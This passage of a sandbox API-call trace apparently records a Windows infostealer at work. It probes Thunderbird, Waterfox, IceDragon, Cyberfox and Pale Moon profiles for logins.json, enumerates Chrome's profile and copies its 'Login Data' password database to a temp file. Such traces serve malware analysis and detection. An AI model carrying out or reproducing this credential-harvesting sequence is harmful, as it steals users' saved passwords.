(pSid=0x18dc8c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0x10 [0071.080] CopySid (in: nDestinationSidLength=0x10, pDestinationSid=0x47010e0, pSourceSid=0x18dc8c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)) | out: pDestinationSid=0x47010e0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0071.080] GetTokenInformation (in: TokenHandle=0x3b0, TokenInformationClass=0x5, TokenInformation=0x18dc88, TokenInformationLength=0x400, ReturnLength=0x18dc7c | out: TokenInformation=0x18dc88, ReturnLength=0x18dc7c) returned 1 [0071.080] GetLengthSid (pSid=0x18dc8c*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0x1c [0071.080] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x4712100, pSourceSid=0x18dc8c*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)) | out: pDestinationSid=0x4712100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 1 [0071.080] CloseHandle (hObject=0x3b0) returned 1 [0071.080] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18dc80, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x70e7a17c | out: pSid=0x70e7a17c*=0x697990*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0071.080] GetVersionExA (in: lpVersionInformation=0x18e0a0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18e0a0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0071.080] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0071.115] strncpy (in: _Dest=0x47010f0, _Source="Executable", _Count=0xa | out: _Dest="Executable") returned="Executable" [0071.115] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0071.116] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bc5c, cbMultiByte=31, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Thunderbird\\Profiles\\les\\") returned 31 [0071.116] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Thunderbird\\Profiles\\", lpDst=0x69bf3c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Thunderbird\\Profiles\\") returned 0x44 [0071.117] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Thunderbird\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0071.117] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d7c, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0071.117] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Thunderbird\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\thunderbird\\profiles\\logins.json")) returned 0xffffffff [0071.117] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.117] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39850f4, cbMultiByte=28, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Waterfox\\Profiles\\es\\les\\") returned 28 [0071.117] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x69bf3c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x41 [0071.117] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0071.117] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d7c, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0071.117] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\waterfox\\profiles\\logins.json")) returned 0xffffffff [0071.118] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985138, cbMultiByte=36, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Comodo\\IceDragon\\Profiles\\Ȁ") returned 36 [0071.118] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x69bf3c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x49 [0071.118] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0071.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d7c, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0071.118] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\comodo\\icedragon\\profiles\\logins.json")) returned 0xffffffff [0071.118] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985184, cbMultiByte=41, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\\x18处疙") returned 41 [0071.118] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x69bf3c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x4e [0071.119] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0071.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d7c, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0071.119] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles\\logins.json")) returned 0xffffffff [0071.119] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bd74, cbMultiByte=51, lpWideCharStr=0x18d5d0, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 51 [0071.119] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x69bf3c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x58 [0071.119] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0071.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d7c, cbMultiByte=11, lpWideCharStr=0x18d2e8, cchWideChar=2047 | out: lpWideCharStr="logins.jsonows\\System32\\WindowsPowerShell\\v1.0\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0071.119] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\moonchild productions\\pale moon\\profiles\\logins.json")) returned 0xffffffff [0071.119] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e35c | out: lpFindFileData=0x18e35c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0071.120] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x69e004, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x45 [0071.120] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e488 [0071.489] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.509] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0071.525] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0071.565] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e17c*=0x0, psz="131384", len=0x6 | out: pbstr=0x18e17c*="131384") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e12c*=0x0, psz="1942", len=0x4 | out: pbstr=0x18e12c*="1942") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e128*=0x0, psz="9944", len=0x4 | out: pbstr=0x18e128*="9944") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e124*=0x0, psz="3743", len=0x4 | out: pbstr=0x18e124*="3743") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e120*=0x0, psz="1934", len=0x4 | out: pbstr=0x18e120*="1934") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e184*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", len=0x57 | out: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e134*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", len=0x57 | out: pbstr=0x18e134*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", len=0x57 | out: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e130*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x56 | out: pbstr=0x18e130*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x56 | out: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0071.582] SysReAllocStringLen (in: pbstr=0x18e12c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x56 | out: pbstr=0x18e12c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0071.583] SysReAllocStringLen (in: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x56 | out: pbstr=0x18e184*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0071.583] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x69fb2c, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0071.583] SysReAllocStringLen (in: pbstr=0x18e180*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", len=0x3f | out: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 1 [0071.583] SysReAllocStringLen (in: pbstr=0x18e134*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", len=0x3f | out: pbstr=0x18e134*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 1 [0071.583] SysReAllocStringLen (in: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", len=0x3f | out: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 1 [0071.583] SysReAllocStringLen (in: pbstr=0x18e130*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", len=0x3f | out: pbstr=0x18e130*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 1 [0071.583] SysReAllocStringLen (in: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", len=0x3f | out: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 1 [0071.583] SysReAllocStringLen (in: pbstr=0x18e12c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", len=0x3f | out: pbstr=0x18e12c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 1 [0071.583] SysReAllocStringLen (in: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", len=0x3f | out: pbstr=0x18e180*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 1 [0071.583] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1313841942994437431934.tmp"), bFailIfExists=1) returned 1 [0071.588] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", cchWideChar=63, lpMultiByteStr=0x18d130, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", lpUsedDefaultChar=0x0) returned 63 [0071.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985b14, cbMultiByte=63, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 63 [0071.590] GetSystemInfo (in: lpSystemInfo=0x70e79cd0 | out: lpSystemInfo=0x70e79cd0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0071.591] VirtualAlloc (lpAddress=0x4713000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x4713000 [0071.592] VirtualAlloc (lpAddress=0x4718000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4718000 [0071.593] VirtualAlloc (lpAddress=0x4719000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x4719000 [0071.594] VirtualAlloc (lpAddress=0x471a000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x471a000 [0071.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4718150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0071.594] VirtualAlloc (lpAddress=0x471b000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x471b000 [0071.595] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4718150, cbMultiByte=-1, lpWideCharStr=0x471b080, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 64 [0071.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0071.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", nBufferLength=0x43, lpBuffer=0x4703ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", lpFilePart=0x0) returned 0x3f [0071.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0071.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", cchWideChar=-1, lpMultiByteStr=0x471b040, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 